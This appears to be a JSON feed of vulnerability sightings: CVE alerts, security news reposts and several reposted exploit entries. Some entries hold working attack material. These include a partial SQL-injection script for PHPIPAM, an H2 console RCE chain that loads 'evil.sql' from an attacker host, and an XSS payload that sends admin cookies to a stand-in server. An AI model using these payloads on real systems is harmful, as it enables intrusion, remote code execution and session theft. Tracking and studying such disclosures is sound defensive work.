servers.\u201d\nOctagon Networks says that, while the CVE-2021-45467 file inclusion vulnerability was patched,\u00a0they saw how \u201csome managed to reverse the patch and exploit some servers.\u201d\n\nThe security researchers also said they would release a proof-of-concept exploit for this pre-auth RCE chain after enough Linux servers running CWP will get upgraded to the latest version.\nSee Also: McAfee Bug Can Be Exploited to Gain Windows SYSTEM Privileges According to CWP\u2019s developers, their software supports the following operating systems: CentOS, Rocky Linux, Alma Linux, and Oracle Linux\n\nWhile the CWP site claims that roughly 30,000 servers are running CWP, BleepingComputer found almost 80,000 Internet-exposed CWP servers\u00a0on BinaryEdge. \n\nOver 200,000 can also be found on\u00a0Shodan and Censys, according to the researchers who discovered the pre-authentication RCE chain.\nSee Also: OSINT Tool: Commit Stream Are u a security researcher? Or a company that writes articles or write ups about Cyber Security, Offensive Security (related to information security in general) that match with our specific audience and is worth sharing?\n\nIf you want to express your idea in an article contact us here for a quote: info@blackhatethicalhacking.com\nSee Also: Stuxnet \u2013 A weapon made out of code that almost started WW3 Source: threatpost.com (Click Link)https://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/merch.png Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/mcafee-d2c-90x90.jpg McAfee Bug Can Be Exploited to Gain Windows SYSTEM Privileges1 day ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/ezgif.com-gif-maker-12-90x90.jpg Cisco bug gives remote attackers root privileges via debug mode4 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/ezgif.com-gif-maker-11-1-90x90.jpg Beijing Olympics App Flaws Allow Man-in-the-Middle Attacks5 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/ezgif.com-gif-maker-10-90x90.jpg SSRF vulnerability in VMWare authentication software could allow access to user data6 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/Safari-Apple-navigateur-90x90.j[...]", "vulnerability": "CVE-2021-45466", "author": {"login": "automation"}}, {"uuid": "3aa51c4c-672d-4658-9344-2f5c4fc43331", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T12:00:05.804127+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/40154", "content": "Exploit Collector\nPHPIPAM 1.4.4 SQL Injection\n\nhttps://2.bp.blogspot.com/-KCLJyqafybo/WWlvfwHA-LI/AAAAAAAAIQI/MCuUzFpEyfsyWr-64Egm7HXW4FQP4atdgCLcBGAs/s1600/h88.png \nPHPIPAM version 1.4.4 suffers from an authenticated remote SQL injection vulnerability.\n\nMD5 | 4b8d5d6218feb96b1ddd63205a5b1750\n\nDownload\n# Exploit Title: PHPIPAM 1.4.4 - SQLi (Authenticated)\n# Google Dork: [if applicable]\n# Date: 20/01/2022\n# Exploit Author: Rodolfo \"Inc0gbyt3\" Tavares\n# Vendor Homepage: https://github.com/phpipam/phpipam\n# Software Link: https://github.com/phpipam/phpipam\n# Version: 1.4.4\n# Tested on: Linux/Windows\n# CVE : CVE-2022-23046\n\nimport requests\nimport sys\nimport argparse\n\n################\n\"\"\"\nAuthor of exploit: Rodolfo 'Inc0gbyt3' Tavares\nCVE: CVE-2022-23046\nType: SQL Injection\n\nUsage:\n\n$ python3 -m pip install requests\n$ python3 exploit.py -u http://localhost:8082 -U  Users and hash passwords: \\n\\n{r.text}\")\nprint(\"\\n\\n> DONE \nexcept Exception as e:\nprint(f\"[-] {e}\")\nif __name__ == '__main__':\nexploit_sqli()\n\n\nSource:packetstormsecurity.com", "vulnerability": "CVE-2022-23046", "author": {"login": "automation"}}, {"uuid": "57f4cac3-0dd0-407a-97b1-bdfad73bef44", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T12:00:05.748443+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/40165", "content": "Exploit Collector\nH2 Database Console Remote Code Execution\n\nhttps://4.bp.blogspot.com/-yT3eHciMBDw/WWlvGfUXh9I/AAAAAAAAILU/lYidSj08G0suEfC69x80tZFrj-NYN5F9wCLcBGAs/s1600/h137.png \nThe H2 Database console suffers from an unauthenticated remote code execution vulnerability.\n\nMD5 | 5d78c725ce53c3a68233c0136fdf6a82\n\nDownload\nDocument Title\n===============\nUnauthenticated RCE vuln in the H2 Database console: CVE-2022-23221.\n\nProduct Description\n===============\nThe H2 Console Application\n\nThe Console lets you access a SQL database using a browser interface.\n\nHomepage: http://www.h2database.com/html/quickstart.html\nAffected Components\n===============\nFile Name: WebServer.java\nFile Path: /h2database/h2/src/main/org/h2/server/web/WebServer.java\nImpacted Function: getConnection\n\nPoC\n===============\n\n1) Navigate to the console and attempt to connect to a H2 in memory\ndatabase that does not exist using the following JDBC URL:\n\n```\njdbc:h2:mem:1337;\n```\n\n2) Note that you get the following security exception preventing you\nfrom creating a new in memory database:\n\n```\nDatabase \"mem:1337\" not found, either pre-create it or allow remote\ndatabase creation (not recommended in secure environments) [90149-209]\n90149/90149 (Help)\n```\n\n3) Now try again with the following JDBC URL:\n\n```\njdbc:h2:mem:1339;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;'\\\n```\n\n4) Note that you were able to successfully create a new in memory database\n5) Create a SQL file that contains a trigger that executes\njava/javascript/ruby code when executed and host it on a domain you\ncontrol (ex: http://attacker)\n6) Use the following JDBC URL to execute the SQL file hosted on your\ndomain on connect:\n\n```\njdbc:h2:mem:1337;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT\nFROM 'http://attacker/evil.sql';'\\\n```\n\nExample evil.sql file:\n\n```\nCREATE TABLE test (\nid INT NOT NULL\n);\n\nCREATE TRIGGER TRIG_JS BEFORE INSERT ON TEST AS '//javascript\nvar fos = Java.type(\"java.io.FileOutputStream\");\nvar b = new fos (\"/tmp/pwnedlolol\");';\n\nINSERT INTO TEST VALUES (1);\n```\n\nCVE Issued: CVE-2022-23221\n\nSource:packetstormsecurity.com", "vulnerability": "CVE-2022-23221", "author": {"login": "automation"}}, {"uuid": "1fbc85b5-cfab-4148-a111-6c825bac2265", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T12:00:05.692127+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/39939", "content": "a reverse shell which can lead to privilege escalation to obtain root privileges.\u201d\n\nWells told Security Week\u00a0that exploiting this bug requires access to the McAfee ePO host, as in, the underlying Windows host, not the application itself.\nAre u a security researcher? Or a company that writes articles or write ups about Cyber Security, Offensive Security (related to information security in general) that match with our specific audience and is worth sharing?\n\nIf you want to express your idea in an article contact us here for a quote: info@blackhatethicalhacking.com\nSee Also: OSINT Tool: Commit Stream Elevated Access Lets Threat Actors Run AmokExploiting privilege-escalation\u00a0bugs lets threat actors paw at resources that should normally be locked safely away. Attackers can use those elevated privileges to steal confidential data, run administrative commands, read files from the file system and deploy malware, as well as to potentially evade detection during attacks.\n\nThis isn\u2019t the first time that privilege-escalation bugs have turned up in McAfee\u2019s Agent. A few months ago, in September, the security firm patched one such bug\u00a0(CVE-2020-7315) that was discovered by Tenable security researcher Cl\u00e9ment Notin.\n\nThat earlier bug involved DLL injection in McAfee Agent that could have allowed a local administrator to kill or tamper with the antivirus, without knowing the McAfee password.\nSee Also: Hacking stories \u2013 Rafael N\u00fa\u00f1ez (aka RaFa), hacking NASA with the hacking group: World of Hell\nSource: threatpost.com (Click Link)https://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/merch.png Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/ezgif.com-gif-maker-12-90x90.jpg Cisco bug gives remote attackers root privileges via debug mode3 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/ezgif.com-gif-maker-11-1-90x90.jpg Beijing Olympics App Flaws Allow Man-in-the-Middle Attacks4 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/ezgif.com-gif-maker-10-90x90.jpg SSRF vulnerability in VMWare authentication software could allow access to user data5 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/Safari-Apple-navigateur-90x90.jpg Same-origin violation vulnerability in Safari 15 could leak a user\u2019s website history and identity6 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/Qlocker-Ransomware-1-90x90.png Qlocker ransomware returns \u2013 targets QNAP NAS devices worldwide1 week ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/https___specials-images.forbesimg.com_imageserve_61aff357a4c71fc225ab8ba7_0x0-90x90.jpg AWS fixes security flaws that exposed AWS customer data1 week ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/image-apple-releases-15-2-1-update-for-ios-and-ipados-to-fix-bugs-164203308032302-90x90.jpg Apple fixes doorLock bug that can disable iPhones and iPads2 weeks ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/0_Windows-headpic-90x90.jpg Microsoft: New critical Windows HTTP vulnerability is wormable2 weeks ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/powerdir-exploit-microsoft-90x90.jpg Microsoft: powerdir bug gives access to protected macOS user data2 weeks ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/using-npm-create-javascript-icon-libraries-90x90.png Dev corrupts NPM libs \u2018colors\u2019 and \u2018faker\u2019 breaking thousands of apps2 weeks ago\nThe post McAfee Bug Can Be Exploited to Gain Windows SYSTEM Privileges first appeared on Black Hat Ethical Hacking.\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2020-7315", "author": {"login": "automation"}}, {"uuid": "2a231d2e-3c88-40aa-9b8d-8833359ae4df", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T11:59:59.027501+00:00", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mutwyrwww62r", "content": "\ud83d\udfe0 CVE-2026-18480 - High (8.8)\n\nThe SureCart  WordPress plugin before 4.6.3 does not ensure that the account affected by a custom...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-18480/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "vulnerability": "CVE-2026-18480", "author": {"login": "automation"}}, {"uuid": "44aeb719-28f0-490e-89fd-77402643847f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T11:49:39.268526+00:00", "type": "seen", "source": "https://bsky.app/profile/arc-codex.com/post/3mutwge55h522", "content": "Uzbrukumos izmantota ievainojam\u012bba Google Chrome\n\nThis article focuses on a vulnerability in the latest version of Google Chrome, CVE-2026-85046, which could lead to cross-site scripting (XSS) attacks. While this is indeed an important security issue that must be addressed urgently, it overlooks\u2026", "vulnerability": "CVE-2026-85046", "author": {"login": "automation"}}, {"uuid": "103ea2a6-50b7-46eb-96e5-f3c8d38cb946", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T11:40:11.924091+00:00", "type": "seen", "source": "https://bsky.app/profile/kakkokari-gtyih.misskey.io.ap.brid.gy/post/3mutvv2wexkm2", "content": "\u200b:blobcat_step:\u200b\n\nhttps://github.com/advisories/GHSA-f88m-g3jw-g9cj", "vulnerability": "GHSA-f88m-g3jw-g9cj", "author": {"login": "automation"}}, {"uuid": "11693bdc-39e1-4454-a0c8-fda81d7c72cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T11:39:39.149734+00:00", "type": "seen", "source": "https://bsky.app/profile/cybersecinsight.bsky.social/post/3mutvuhpqyb2e", "content": "\ud83d\udd0d Vulnerability Spotlight | Part 2/3\n\n\u26a0\ufe0f CVE-2025-15614\n\nugrep before 7.6.0 contains a heap buffer over-read vulnerability in the LZW decompressor when processing crafted .Z archive files. Attackers can s...", "vulnerability": "CVE-2025-15614", "author": {"login": "automation"}}, {"uuid": "0ce8a0e3-c55c-4e22-a44c-949e107b6b58", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T11:33:32.543735+00:00", "type": "seen", "source": "https://bsky.app/profile/yazoul-alerts.bsky.social/post/3mutvjjhx4o2g", "content": "\ud83d\udea8 CVSS 10.0. That's the highest score possible. And it's sitting on your SMA1000 appliance.\n\nCVE-2026-83548.\n\nhttps://www.yazoul.net/advisory/cve/cve-2026-83548-sma1000-ssrf-exploited-in-the-wild/\n\nby Yazoul AI #CyberSecurity #Security", "vulnerability": "cve-2026-83548", "author": {"login": "automation"}}, {"uuid": "ec82a13e-4472-4304-955b-557f94aea325", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T11:10:04.884590+00:00", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mutu7lpx3424", "content": "CVE-2026-78362 - seo flow by lupsonline\nVersions 3.0.0 through 3.0.2 of the SEO Flow plugin for WordPress do not properly check who is making API calls. As a result, anyone on the internet can pretend to be the\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#unknown #CVE #infosec", "vulnerability": "CVE-2026-78362", "author": {"login": "automation"}}, {"uuid": "cb8cd823-21c6-4ffb-bd15-2c2f714d6862", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T11:07:06.637562+00:00", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mutu2bykdo2p", "content": "\ud83d\udccc ASUS bsitf.sys Driver Vulnerability: Arbitrary Physical Memory Mapping via Unvalidated IOCTL (CVE-20... https://www.cyberhub.blog/article/29134-asus-bsitfsys-driver-vulnerability-arbitrary-physical-memory-mapping-via-unvalidated-ioctl-cve-2026-13585", "vulnerability": "cve-2026-13585", "author": {"login": "automation"}}, {"uuid": "5810d156-a8a2-4828-ad04-b644b4d3b43d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T11:05:09.998361+00:00", "type": "seen", "source": "https://bsky.app/profile/cvemon.bsky.social/post/3muttwsd2f42t", "content": "CVE-2026-67399 is trending. Hype score 2, currently #10 on cvemon.\n\nCurrently trending CVE - Hype Score: 2\n\nhttps://cvemon.intruder.io/cves/CVE-2026-67399", "vulnerability": "CVE-2026-67399", "author": {"login": "automation"}}, {"uuid": "ba241af4-603c-4641-8daf-ea34636f8bd4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T11:05:07.401771+00:00", "type": "seen", "source": "https://bsky.app/profile/cvemon.bsky.social/post/3muttwqaf6n2u", "content": "CVE-2026-67398 is trending. Hype score 2, currently #9 on cvemon.\n\nMissing authorization vulnerability has been discovered in 2Checkout payment gateway of WHMCS from 8.13.0 before 8.13.8, from 9.0.0 before 9.0.8, all other EOL versions from 4.5.0.\u2026\n\nhttps://cvemon.intruder.io/cves/CVE-2026-67398", "vulnerability": "CVE-2026-67398", "author": {"login": "automation"}}, {"uuid": "26c8a434-438c-4dd5-8420-357fbb301a6e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T11:05:05.138318+00:00", "type": "seen", "source": "https://bsky.app/profile/cvemon.bsky.social/post/3muttwo6hk72l", "content": "CVE-2025-36911 is trending. Hype score 6, currently #5 on cvemon.\n\nIn key-based pairing, there is a possible ID due to a logic error in the code. This could lead to remote (proximal/adjacent) information disclosure of user's conversations and\u2026\n\nhttps://cvemon.intruder.io/cves/CVE-2025-36911", "vulnerability": "CVE-2025-36911", "author": {"login": "automation"}}, {"uuid": "5b3fa556-0519-4645-876b-b5196f26d799", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T11:03:31.897536+00:00", "type": "seen", "source": "https://mastodon.social/users/hugovalters/statuses/117223758795425730", "content": "CVE-2026-86121 - Critical RCE & auth bypass in Cua computer-server. Allows unauthenticated arbitrary command execution. CVSS 9.8. Update to 0.3.42 now. #CVE #infosec #cybersecurity\nhttps://www.valtersit.com/cve/CVE-2026-86121/", "vulnerability": "CVE-2026-86121", "author": {"login": "automation"}}, {"uuid": "b26e21e7-e51b-4b38-afd0-52cedd892df2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T11:03:29.933620+00:00", "type": "seen", "source": "https://bsky.app/profile/hugovalters.bsky.social/post/3mutttsbelu2b", "content": "CVE-2026-86121 - Critical RCE & auth bypass in Cua computer-server. Allows unauthenticated arbitrary command execution. CVSS 9.8. Update to 0.3.42 now. #CVE #infosec #cybersecurity\n\nhttps://www.valtersit.com/cve/CVE-2026-86121/", "vulnerability": "CVE-2026-86121", "author": {"login": "automation"}}, {"uuid": "bd29a5e2-cbaa-4f1f-b934-3e785859398a", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "creation_timestamp": "2026-09-06T11:00:31.879348+00:00", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/0b423154-e35d-4d55-b4c1-d539e76167da", "content": "", "vulnerability": "CVE-2025-60698", "author": {"login": "automation"}}, {"uuid": "b19b071f-b175-4e4c-8c54-9404893f7b94", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T11:00:06.597063+00:00", "type": "exploited", "source": "Telegram/KOoZLZaOHuOfGd1o1jBcxdChs5lceJwUBhWSWkdTNzxopqjT", "content": "", "vulnerability": "CVE-2026-67281", "author": {"login": "automation"}}, {"uuid": "205374fd-5957-4b67-acc1-3b4f370dc94d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T11:00:06.548809+00:00", "type": "exploited", "source": "Telegram/KOoZLZaOHuOfGd1o1jBcxdChs5lceJwUBhWSWkdTNzxopqjT", "content": "", "vulnerability": "CVE-2026-67276", "author": {"login": "automation"}}, {"uuid": "42e9a50b-9b4c-44fa-b4cf-d70f18c69281", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T11:00:06.498718+00:00", "type": "exploited", "source": "Telegram/KOoZLZaOHuOfGd1o1jBcxdChs5lceJwUBhWSWkdTNzxopqjT", "content": "", "vulnerability": "CVE-2026-67278", "author": {"login": "automation"}}, {"uuid": "fb97659d-cd0b-4043-8a54-11f99be88626", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T11:00:06.456847+00:00", "type": "exploited", "source": "Telegram/KOoZLZaOHuOfGd1o1jBcxdChs5lceJwUBhWSWkdTNzxopqjT", "content": "", "vulnerability": "CVE-2026-86060", "author": {"login": "automation"}}, {"uuid": "cff2d83b-9492-453c-9a9e-e05d9263d736", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T11:00:06.413291+00:00", "type": "exploited", "source": "Telegram/KOoZLZaOHuOfGd1o1jBcxdChs5lceJwUBhWSWkdTNzxopqjT", "content": "", "vulnerability": "CVE-2026-67277", "author": {"login": "automation"}}, {"uuid": "c82d002e-3550-46c4-ae77-c982c8bc920a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T11:00:06.364822+00:00", "type": "exploited", "source": "Telegram/KOoZLZaOHuOfGd1o1jBcxdChs5lceJwUBhWSWkdTNzxopqjT", "content": "", "vulnerability": "CVE-2026-67279", "author": {"login": "automation"}}, {"uuid": "968b4bf5-7e2d-479e-a435-e7855202bf60", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T11:00:06.316194+00:00", "type": "seen", "source": "Telegram/Vc2SdgBOuxOFw-ldqM8D03_f1b-HBh3AsCRLq5dgxJuo37SM", "content": "", "vulnerability": "CVE-2026-67276", "author": {"login": "automation"}}, {"uuid": "df795bed-f95a-4f53-9a93-8da83a9efb7c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T11:00:06.266911+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/41226", "content": "Exploit Collector\nSamba VFS Heap Out-Of-Bounds Read / Write\n\nhttps://4.bp.blogspot.com/-IV-83q7tlNU/WWlvNru3JHI/AAAAAAAAIMg/qWmIdM50sJs0a5mqLHfeVDVNkTKQ10wJwCLcBGAs/s1600/h23.png \nAll versions of Samba prior to 4.13.17 are vulnerable to an out-of-bounds heap read write vulnerability that allows remote attackers to execute arbitrary code as root on affected Samba installations that use the VFS module vfs_fruit.\n\nMD5 | 06fcbc7e0777b32c642d00aaeef26159\n\nDownload\n=================================================================\n== Subject:     Out-of-bounds heap read/write vulnerability\n==              in VFS module vfs_fruit allows code execution\n==\n== CVE ID#:     CVE-2021-44142\n==\n== Versions:    All versions of Samba prior to 4.13.17\n==\n== Summary:     This vulnerability allows remote attackers to\n==              execute arbitrary code as root on affected Samba\n==              installations that use the VFS module vfs_fruit.\n=================================================================\n\n===========\nDescription\n===========\n\nAll versions of Samba prior to 4.13.17 are vulnerable to an\nout-of-bounds heap read write vulnerability that allows remote\nattackers to execute arbitrary code as root on affected Samba\ninstallations that use the VFS module vfs_fruit.\n\nThe specific flaw exists within the parsing of EA metadata when\nopening files in smbd. Access as a user that has write access to a\nfile's extended attributes is required to exploit this\nvulnerability. Note that this could be a guest or unauthenticated user\nif such users are allowed write access to file extended attributes.\n\nThe problem in vfs_fruit exists in the default configuration of the\nfruit VFS module using fruit:metadata=netatalk or fruit:resource=file.\nIf both options are set to different settings than the default values,\nthe system is not affected by the security issue.\n\n==================\nPatch Availability\n==================\n\nPatches addressing both these issues have been posted to:\n\nhttps://www.samba.org/samba/security/\n\nAdditionally, Samba 4.13.17, 4.14.12 and 4.15.5 have been issued as\nsecurity releases to correct the defect. Samba administrators are\nadvised to upgrade to these releases or apply the patch as soon\nas possible.\n\n==================\nCVSSv3 calculation\n==================\n\nCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H/E:F/RL:O/RC:C\n\nBase score 9.9.\n\n==========\nWorkaround\n==========\n\nAs a workaround remove the \"fruit\" VFS module from the list of\nconfigured VFS objects in any \"vfs objects\" line in the Samba\nconfiguration smb.conf.\n\nNote that changing the VFS module settings fruit:metadata or\nfruit:resource to use the unaffected setting causes all stored\ninformation to be inaccessible and will make it appear to macOS\nclients as if the information is lost.\n=======\nCredits\n=======\n\nOriginally reported by Orange Tsai from DEVCORE.\n\nPatches provided by Ralph B\u00f6hme of the Samba team.\n\n==========================================================\n== Our Code, Our Bugs, Our Responsibility.\n== The Samba Team\n==========================================================\n\nSource:packetstormsecurity.com", "vulnerability": "CVE-2021-44142", "author": {"login": "automation"}}, {"uuid": "7a677bdc-5ded-456c-86f8-a191c9104a71", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T11:00:06.215664+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/41228", "content": "Exploit Collector\nChamilo LMS 1.11.14 Cross Site Scripting / Account Takeover\n\nhttps://3.bp.blogspot.com/-D44pcoGQpVY/WWlvlv4DR7I/AAAAAAAAIRA/cd0U1aMX9aAjFzK0BP_4B5_C_6s8ROTKQCLcBGAs/s1600/h99.png \nChamilo LMS version 1.11.14 suffers from a persistent cross site scripting vulnerability.\n\nMD5 | 2aec0cc4998138800d8ac868f08ddcb0\n\nDownload\n# Exploit Title: Chamilo LMS 1.11.14 - Account Takeover\n# Date: July 21 2021\n# Exploit Author: sirpedrotavares\n# Vendor Homepage: https://chamilo.org\n# Software Link: https://chamilo.org\n# Version:  Chamilo-lms-1.11.x\n# Tested on:  Chamilo-lms-1.11.x\n# CVE: CVE-2021-37391\n#Publication:\nhttps://gitbook.seguranca-informatica.pt/cve-and-exploits/cves/chamilo-lms-1.11.14-xss-vulnerabilities\nDescription:  A user without privileges in Chamilo LMS 1.11.x can send an\ninvitation message to another user, e.g., the administrator, through\nmain/social/search.php,\nmain/inc/lib/social.lib.php and steal cookies or execute arbitrary code on\nthe administration side via a stored XSS vulnerability via social network\nthe send invitation feature.  .\nCVE ID: CVE-2021-37391\nCVSS:  Medium - CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:L/A:N\nURL:\nhttps://gitbook.seguranca-informatica.pt/cve-and-exploits/cves/chamilo-lms-1.11.14-xss-vulnerabilities\n\nAffected parameter: send private message - text field\nPayload: x \nhttp://yourserver/?c='+document.cookie>\nSteps to reproduce:\n1. Navigate to the social network menu\n2. Select the victim profile\n3. Add the payload on the text field\n4. Submit the request and wait for the payload execution\n\n*Impact:* By using this vulnerability, an unprivileged user can steal\ncookies from an admin account or force the administrator to create an\naccount with admin privileges with an HTTP 302 redirect.\n*Mitigation*: Update the Chamilo to the latest version.\n*Fix*:\nhttps://github.com/chamilo/chamilo-lms/commit/de43a77049771cce08ea7234c5c1510b5af65bc8\nCom os meus melhores cumprimentos,\n--\n*Pedro Tavares*\nFounder and Editor-in-Chief at seguranca-informatica.pt\nCo-founder of CSIRT.UBI\nCreator of 0xSI_f33d <https:\nseguranca-informatica.pt | @sirpedrotavares\n<https:| 0xSI_f33d\n<https:\n\n\nSource:packetstormsecurity.com", "vulnerability": "CVE-2021-37391", "author": {"login": "automation"}}, {"uuid": "2b4536f3-579f-4b9c-8cad-7af19f36f437", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T11:00:06.170135+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/41230", "content": "Exploit Collector\nWordPress Domain Check 1.0.16 Cross Site Scripting\n\nhttps://2.bp.blogspot.com/-trS7d3JOSJY/WWlvYoSx4fI/AAAAAAAAIOo/ua-jTrS9avcHrliD3JJHs9ifWyf14eAUwCLcBGAs/s1600/h57.png \nWordPress Domain Check plugin version 1.0.16 suffers from a cross site scripting vulnerability.\n\nMD5 | a01b2666a24640021a89c1ff8fe3ec96\n\nDownload\n# Exploit Title: WordPress Plugin Domain Check 1.0.16 - Reflected Cross-Site Scripting (XSS) (Authenticated)\n# Date: 30-10-2021\n# Exploit Author: Ceylan Bozogullarindan\n# Author Webpage: https://bozogullarindan.com\n# Vendor Homepage: https://domaincheckplugin.com/\n# Software Link: https://wordpress.org/plugins/domain-check/\n# Version: 1.0.16\n# Tested on: Linux\n# CVE: CVE-2021-24926 (https://wpscan.com/vulnerability/8cc7cbbd-f74f-4f30-9483-573641fea733)\n# Description:\n\nDomain Check is a Wordpress plugin that allows you to see what domains and SSL certificates are coming up for expiration and to quickly locate the coupons, coupon codes, and deals from your favorite sites before renewing.\n\nAn authenticated user is able to inject arbitrary Javascript or HTML code to the \"Domain Check Profile\" interface available in settings page of the plugin, due to incorrect sanitization of user-supplied data and achieve a Reflected Cross-Site Scripting attack against the administrators. The plugin versions prior to 1.0.16 are affected by this vulnerability.\nThe details of the discovery are given below.\n# Steps To Reproduce:\n1. Just visit the following page after signing in the administrator panel: http://vulnerable-wordpress-website/wp-admin/admin.php?page=domain-check-profile&domain=hacked.foo\n2. The XSS will be triggered on the settings page.\n\n\nSource:packetstormsecurity.com", "vulnerability": "CVE-2021-24926", "author": {"login": "automation"}}, {"uuid": "62b6051c-6e59-4345-b4e4-9d0358d8748f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T11:00:06.121091+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/41284", "content": "Black Hat Ethical Hacking\nESET antivirus bug let attackers gain Windows SYSTEM privileges\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png ESET antivirus bug let attackers gain Windows SYSTEM privilegesPost Views: 188 https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/BECOME-A-PATRON-AND-UNLOCK-EXCLUSIVE-VIDEOS-1.png Reading Time: 1 Minute\nThe flaw (CVE-2021-37852) was reported by Michael DePlante of Trend Micro\u2019s Zero Day Initiative, and it enables attackers to escalate privileges to NT AUTHORITY\\SYSTEM account rights (the highest level of privileges on a Windows system) using the Windows Antimalware Scan Interface (AMSI).\nSlovak internet security firm ESET released security fixes to address a high severity local privilege escalation vulnerability affecting multiple products on systems running Windows 10 and later or Windows Server 2016 and above. AMSI\u00a0was first introduced with Windows 10 Technical Preview in 2015, and it allows apps and services to request memory buffer scans from any major antivirus product installed on the system. According to ESET, this can only be achieved after attackers gain SeImpersonatePrivilege rights, normally assigned to users in the local Administrators group and the device\u2019s local Service account to impersonate a client after authentication which should \u201climit the impact of this vulnerability.\u201d\n\nHowever, ZDI\u2019s advisory\u00a0says attackers are only required to \u201cobtain the ability to execute low-privileged code on the target system,\u201d which matches ESET\u2019s CVSS severity rating\u00a0also showing that\u00a0the bug can be exploited by threat actors with low privileges.\n\nWhile ESET said it only found out about this bug on November 18, a disclosure timeline available in ZDI\u2019s advisory reveals that the vulnerability was reported four months earlier, on June 18, 2021.\nSee Also: Complete Offensive Security and Ethical Hacking Course Affected ESET productsThe list of products impacted by this vulnerability is quite long, and it includes:\n\n* ESET NOD32 Antivirus, ESET Internet Security, ESET Smart Security, and ESET Smart Security Premium from version 10.0.337.1 to 